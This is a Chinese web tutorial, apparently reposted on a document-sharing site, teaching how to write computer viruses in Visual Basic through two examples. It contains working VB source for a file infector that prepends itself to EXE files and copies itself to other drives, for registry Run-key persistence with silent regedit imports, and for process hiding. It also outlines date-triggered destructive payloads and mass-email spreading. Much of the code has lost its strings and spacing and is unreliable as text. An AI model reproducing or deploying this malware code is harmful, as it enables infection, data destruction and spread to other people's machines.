VB病毒编写的详细教程(两个例子)

更新时间:2024-01-23 05:49:01 阅读量: 教育文库 文档下载

说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。

VB病毒编写的详细教程(2个例子)

说明:本文的两个例子是我收集的最为详细的VB病毒编写教程,文章旨在介绍VB也

能轻松编写计算机病毒程序,很多现成代码可以直接复制粘贴到VB中供测试。请学习后不要用于非法用途,否则后果自负。

例子1:

谈起病毒的编制,大家都认为是很高深的东西。高手用的都是汇编语言,次一点的也是 VC或C++。那么用VB也能编病毒吗?答案是肯定的。只不过由于技术上的限制(比如VB不能对底层硬件进行直接的操作,不能生成独立的可执行文件等等),编出来的程序不可能象汇编或VC编出来的程序那么小巧和功能强大。但是VB编出来的病毒也不可小窥噢!

在谈病毒的编制以前,我们先说说什么是病毒。只有先把概念搞清楚了,才能编出真正的病毒程序。关于病毒的标准解释,我就不说了,我想我也说不清楚,大家可以到一些大的杀毒厂商的网站去看看,那里有比较完整、全面的定义。香水百合就自己的理解来谈谈病毒。病毒最少应该满足以下的二个条件:

一、自启动和自恢复

只要机器染上病毒后,每次启动就会自动加载。如果无意中被你发现并杀掉后,病毒程序会自己通过备份来恢复。自动运行一般是通过以下几种方法来实现的。 1.最简单的方法是通过自动批处理文件Autoexec.bat来加载。

从DOS时代就开始玩电脑的人应该都很熟悉这个文件了。不为别的,就为游戏能够玩的更加流畅,为了从640K基本内存中抠出更多的可用内存,都绞尽脑汁的来修改、配置这个文件。现在到了Windows时代,这个文件基本上已经成了被人遗忘的角落了,不过也不能放过噢!因为被人遗忘,所以才要利用啊!

2.通过Win.ini文件来加载 [windows]

load=expl0rer.exe

run=expl0rer.exe

看到load和run两个字段了,正常的情况应该是空的。但是病毒程序可以通过将这两段写上病毒自身的名字来达到自动运行的目的。而且病毒将自身的名字改为expl0rer.exe,注意了,是0而不是O噢!如果不细看,还以为运行的是资源管理器程序(explorer.exe)呢!

3.通过system.ini文件来加载 [boot]

shell=Explorer.exeserver.exe

正常的情况下,shell后面跟的应该只有Explorer.exe这一个变量。但是很多病毒程序就是通过在后面加上自己的名字来实现自动运行。

4.通过在注册表中加载自动运行键值来实现

[HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run]

[HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce] [HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx] [HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices]

[HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnc e]

[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run]

[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce] [HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices]

病毒也可以通过修改注册表的上述键值来实现自我启动,而且比上面三种方法来的更加隐蔽一点(相对普通用户而言)。一些软件就是通过修改上述地方来实现开机自动运行的,比如超级解霸、金山毒霸等等。

5.通过修改注册表中文件关联的键值来实现

修改[HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command]中的下面键值来实现 [默认=\

修改[HKEY_LOCAL_MACHINE\\Software\\CLASSES\\txtfile\\shell\\open\\command]中的下面键值来实现

[默认=\

我们知道,上面的键值是功能是决定TXT文件与什么程序相关联的。系统默认的情况下应该是将TXT文件与Windows的记事本相关联。如果我们将TXT文件与我们的病毒文件相关联的话,那么后果就可想而知了,每当我们打开一个扩展名为TXT的文本文件后,就自动加载了病毒程序。这一招可够狠的。但是有的朋友会说,用户每次启动计算机不一定每次都会打本文本文件啊,这也有可能,但是用户肯定是会调用输入法的,如果我们将病毒文件与输入法相关联的话,那么我想没有人会逃过这一劫吧!这一招才叫毒吧!

当你的机器中了病毒以后,病毒一般先会将自己进行复制。一般是复制到Windows目录或者Windows下的System目录,当然也可以是其它的目录了。有一类木马病毒可以通过配置程序来进行设置,所以说备份的目录不一定是固定的。但是目的只有一个,就是当你发现它,并将它删除以后,病毒可以通过关联的程序来进行自我恢复。这也就是为什么病毒杀了以后,为什么还会有的原因了。

那怎样在VB中实现自启动呢?一般有两种方法,一种是通过在VB中导出一个注册表文件,然后执行它;另外一种是通过调用API函数来实现。大家分别看看下面的两个例子就明白了。

第一种方法:生成一个注册表文件,然后通过SHELL命令执行它,完成后删除这个注册表

文件。

FunctionMakeReg() OnErrorResumeNext

Open\

Print#1,\

Print#1,\\\Run]\

Print#1,\

0.exe\\\ Close1

Shell\ Kill\ EndFunction

从上面的程序,我们可以看出,前面几行是在C盘的根目录生成一个\的注册表文件。关键的地方就在SHELL命令这一行,我们可以看到在执行REGEDIT命令时带了一个\的参数,这个参数就是在执行导入注册表文件时,不会出现\确实要把C:\\V.REG内的信息添加到注册表吗?\的提示信息,实现了后

台执行的效果。不再需要进行人工的干预了!

第二种方法:通过使用API函数来实现,香水百合个人比较偏向于使用这种方法。

PrivateDeclareFunctionRegCreateKey&Lib\ s\

)

PrivateDeclareFunctionRegSetValueLib\t;RegSetValueA\TypeAsLong,ByVallpDataAsstring,ByValcbDataAsLong)AsLong

PrivateDeclareFunctionRegCloseKeyLib\ yAsLong)AsLong

ConstHKEY_LOCAL_MACHINE=&H80000002 ConstREG_SZ=1

PrivateSubForm_Initialize()

DimsKeyNameAsString,sKeyValueAsString,sKeyValueIconAsString DimRetAsInteger,lphKeyAsLong

sKeyName=\ sKeyValue=App.Path&IIf(Len(App.Path)>3,\ .EXEName+\

Ret=RegCreateKey&(HKEY_LOCAL_MACHINE,sKeyName,lphKey)'创建新的启动项 Ret=RegSetValue&(lphKey&,\ '设置键值

Ret=RegCloseKey&(HKEY_LOCAL_MACHINE)'关闭注册表 EndSub

可以看出,程序通过调用RegCreateKey、RegSetValue和RegCloseKey这三个API函数来实现向注册表中写入信息的功能。

关于启动的方法有很多,光我知道的就不下十几种,今天就先大概的介绍一下以上的五种吧!

二、病毒最重要的一个特点应该是能够感染和传播。

如果一个程序只是让你的光驱不停地打开关上,或者只是让你的机器总是死机。那么我想它算不上是一个病毒程序,只能算作具有破坏性的黑客程序罢了。那么病毒是怎样感染可执行文件的呢?其实例子是最好的说明的说明,下面我们就通过一个例子来说明病毒是怎样进行感染和传播的。

OptionExplicit

PrivatevbArrayAsString'定义一些变量和常量 PrivateVictimAsString PrivatehArrayAsString PrivateCheckXAsString PrivateLengthAsLong

ConstMySizeAsInteger=18432'病毒程序编译后的大小(可以根据实际情况来修改 )

PrivateiResultAsLong PrivatehProgAsLong

PrivateidProgAsLong PrivateiExitAsLong

ConstSTILL_ACTIVEAsLong=&H103

ConstPROCESS_ALL_ACCESSAsLong=&H1F0FFF

PrivateDeclareFunctionOpenProcessLib\

edAccessAsLong,ByValbInheritHandleAsLong,ByValdwProcessIdAsLong)A sLong

PrivateDeclareFunctionGetExitCodeProcessLib\ hProcessAsLong,

lpExitCodeAsLong)AsLong

PrivateDeclareFunctionCloseHandleLib\ AsLong)AsLong

PrivateSubForm_Initialize() Me.Left=\ Me.Top=\

Me.Width=Screen.Width Me.Height=Screen.Height

DimIAsLong

DimFF

DimMyPathAsString'存储当前运行文件的路径 DimMyFileAsString'存储当前运行文件的文件名

FF=FreeFile'定义一个空闲的文件号

OnErrorResumeNext'如果发生错误,则跳到程序下一段继续执行

IfRight(App.Path,1)<>\

MyPath=App.Path&\路径名+\ Else

MyPath=App.Path'如果在根目录下则不需要加上\ EndIf

MyFile=App.EXEName&\取得当前运行的EXE文件名

OnErrorGoToErrHandle

OpenMyPath&MyFileForBinaryAccessReadAs#FF

vbArray=Space$(MySize)'根据编译后的文件大小来定义一个缓存 Get#1,1,vbArray'存储文件数据到变量中 Close#FF

Victim=Dir(MyPath&\找到第一个要感染的EXE文件

WhileVictim<>\查找随后的EXE文件,直到没有为止 IfLCase(MyPath&Victim)<>LCase(MyPath&MyFile)Then OpenVictimForBinaryAccessReadAs#FF

hArray=Space(LOF(FF))'根据文件大小重新定义数组的大小

Get#1,1,hArray'复制文件数据到变量中 Close#FF

CheckX=Mid(hArray,Len(hArray))'在被感染文件末尾写入一个标记,作为是否感染病毒的标志。

IfLCase(CheckX)<>\如果标志为\则表示 该文件已经被感染,否则继续

OpenVictimForBinaryAccessWriteAs#FF

Put#FF,1,vbArray'Placeourcodeinthefrontofthefile

Put#FF,MySize,hArray'Followitimmediatleybythevictimscode Put#FF,LOF(FF)+1,\ eninfected

Close#FF'Thatshowthisvirusgotit'sname!

EndIf Else EndIf

Victim=Dir()'继续查找下一个可感染的文件

Wend

OpenMyPath&MyFileForBinaryAccessReadAs#FF

Length=(LOF(FF)-MySize)'当前文件的长度减去病毒文件长度,取得的值,存储到变量

中。

IfLength>0Then'如果长度大于0,说明文件被感染,否则说明这是一个未被感染的文件。

vbArray=Space(Length)'根据文件大小建立缓存

Get#FF,MySize,vbArray'Gettheoldhostdatafromoutofthis file Close#FF

OpenMyPath&App.EXEName&\ As#FF

Put#FF,,vbArray'放置原始文件的数据到一个临时文件中 Close#FF

idProg=Shell(MyPath&App.EXEName&\ s)'运行原始文件代码

hProg=OpenProcess(PROCESS_ALL_ACCESS,False,idProg)'取得正在运 行的应用程序的代码号

GetExitCodeProcesshProg,iExit

DoWhileiExit=STILL_ACTIVE'一直等待直到程序结束 DoEvents

GetExitCodeProcesshProg,iExit Loop

OnErrorResumeNext

KillMyPath&App.EXEName&\删除原始 文件代码

KillMyPath&App.EXEName&\再次进行 删除,以确信程序已经被删除

KillMyPath&App.EXEName&\再删除一 次 Else

Close#1

FileCopyMyPath&MyFile,\复制文件到A盘

FileCopyMyPath&MyFile,\复制文件到C盘 EndIf End EndSub

从上面的程序及注释我们可以看出病毒是怎样进行感染和传播的了。现在你肯定会说,原来就这么简单啊!是啊,其实很多东西看起来很复杂,不过当你真正的了解了,才知道不过如此啊!这个病毒程序也并不特别的好,还是存在一些缺点的。比如在判断是不是可执行的EXE文件时,只是简单的是了DIR命令,这样容易漏掉一些扩展名不是EXE的文件,但它又确实是可执行的文件。还有,在文件复制的时候,只是简单地将文件复制到A盘是不可取的。不过,这个程序毕竟给了我们一个编制病毒程序的思路啊。

有些病毒(主要是指木马类的程序)还具写一些特殊的功能。比如:隐藏进程。隐藏进程在Windows9X下是很容易实现的。只要简单地将自身注册为一个系统进程就可以从任务栏中消失。但是在WindowsNT和Windows2000下这种方法已经失效了。不过随着技术的发展,各种更高级的隐藏进程的方法又出现了,比如DLL陷阱技术等等。隐藏进程在VB下通过调用API函数也是很容易实现的。

PublicDeclareFunctionGetCurrentProcessIdLib\ ong

PublicDeclareFunctionRegisterServiceProcessLib\ aldwProcessIdAsLong,

ByValdwTypeAsLong)AsLong SubHideMe() DimretAsLong

ret=RegisterServiceProcess(GetCurrentProcessId,1) EndSub

SubUnHideMe()

DimretAsLong

ret=RegisterServiceProcess(GetCurrentProcessId,0) EndSub

例子2:

相信电脑界的每个人都痛恨计算机病毒,她给我们带来了很多麻烦和损失,可你知道编写病毒的方法和过程吗?在此我仅以VB编写为例,揭开她的面纱。 用VB编写病毒需要考虑到如下几点:

* 感染主机

首先染毒文件运行后先要判断主机是否以感染病毒,也就是判断病毒主体文件是否存在,如果不存在则将病毒主体拷贝到指定位置(如:将病毒文件拷贝到c:\\Windows\\system\\),

可用filecopy语句实现;如果病毒已感染主机则结束判断。

例如,判断C:\\windows\\system\\Killer.exe是否存在,如果有则退出判断,如果没有则证明本机未感染病毒,立即拷入病毒文件。

病毒源文件名为game.exe 声明部分: \定义 FileExists% 函数 public success%

Function FileExists%(fname$) On Local Error Resume Next Dim ff%

ff% = FreeFile

Open fname$ For Input As ff% If Err Then

FileExists% = False Else

FileExists% = True

End If Close ff% End Function

代码部分:\判断文件是否存在

success% = FileExists%(\

If success% = False Then \病毒不存在则拷贝病毒到计算机 FileCopy \ ... \修改注册表,将其加入RUN中。(省略若干代码) End If

* 开机启动病毒

在病毒感染主机的同时,将自身加入注册表的开机运行中,这与向主机拷入病毒是同时进行的,主机感染后不再修改注册表。可通过编程和调用API函数对WIN注册表进行操作来实现,这样在每次启动计算机时病毒自动启动。(具体编写方法请查阅其它资料) * 任务管理器

在任务管理器列表中禁止病毒本身被列出,可以通过编程来实现。用代码 App.TaskVisible = false 就可以实现;再有就是通过调用Win API函数来实现,这里就不作介绍了。

* 病毒发作条件

可用Day(Date)来判断今天是几号,再与确定好的日期作比较,相同则表现出病毒主体的破坏性,否则不发作。也可用Time、Date或其它方法作为病毒发作条件的判断。例: if day(date)=16 then \是发作日期,取值为1-31的整数

... ... \当日期相符时运行的破坏性代码(格式化、删除指定的文件类型、发送数据包杜塞网路等,省略若干代码) end if

* 病毒的破坏性

编写的此部分代码决定了病毒威力的强弱。轻的可以使系统资源迅速减少直至死机(需要你懂得一点蠕虫的原理),也就是实现开机即死的效果;也可以加入硬盘炸弹代码、系统

后台删文件等。重的可以使计算机彻底瘫痪(不作介绍,你可以参阅其它病毒的有关资料)。

* 病毒的繁殖

原理很简单,就是将其自身与其它可执行文件合并,也就是两个文件并成一个文件。也可通过E-Mail传播,方法是病毒读取被感染主机的邮件列表,将带有病毒附件的E-Mail发给列表中的每一个人(这需要你懂得VB网络编程)。

读完本文章相信您已对病毒的编写思路有了初步的了解,如果你是个VB爱好者,你已经可以编写一个很简单的病毒了,但你要是精通VB的话,请不要有编写后传播她的想法,因为传播她造成很大的影响将改变你的命运(被公安抓住就挂了)。

本文来源:https://www.bwwdw.com/article/pa7o.html

Top